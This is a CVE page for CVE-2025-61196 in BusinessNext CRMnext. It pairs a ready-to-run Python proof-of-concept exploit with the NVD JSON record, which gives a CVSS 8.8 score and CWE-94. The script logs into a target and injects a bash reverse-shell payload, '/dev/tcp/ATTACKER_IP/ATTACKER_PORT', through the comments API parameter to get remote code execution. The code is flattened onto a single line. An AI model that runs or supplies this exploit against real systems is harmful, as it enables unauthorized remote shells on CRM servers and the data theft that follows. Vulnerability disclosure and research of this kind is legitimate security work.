CVE-2025-61196

import requests import sys # CVE-2025-61196 PoC - BusinessNext CRMnext RCE via comments parameter # Usage: python poc.py <target_url> <username> <password> def exploit_crmnext(target_url, username, password): session = requests.Session() # Login to CRMnext login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print("[-] Login failed") return False # Exploit RCE via comments parameter exploit_url = f"{target_url}/api/comments/add" # Reverse shell payload - attacker should set up listener first payload = ";bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1" exploit_data = { "entity_type": "Lead", "entity_id": "1", "comments": payload } response = session.post(exploit_url, json=exploit_data, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Check your listener for reverse shell") return True else: print("[-] Exploit failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit_crmnext(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-61196", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:39.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in BusinessNext CRMnext v.10.8.3.0 allows a remote attacker to execute arbitrary code via the comments input parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/zsamamah/CVE-2025-61196/blob/main/CVE-2025-61196.md", "source": "[email protected]"}, {"url": "https://github.com/zsamamah/CVE-2025-61196/blob/main/CVE-2025-61196.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}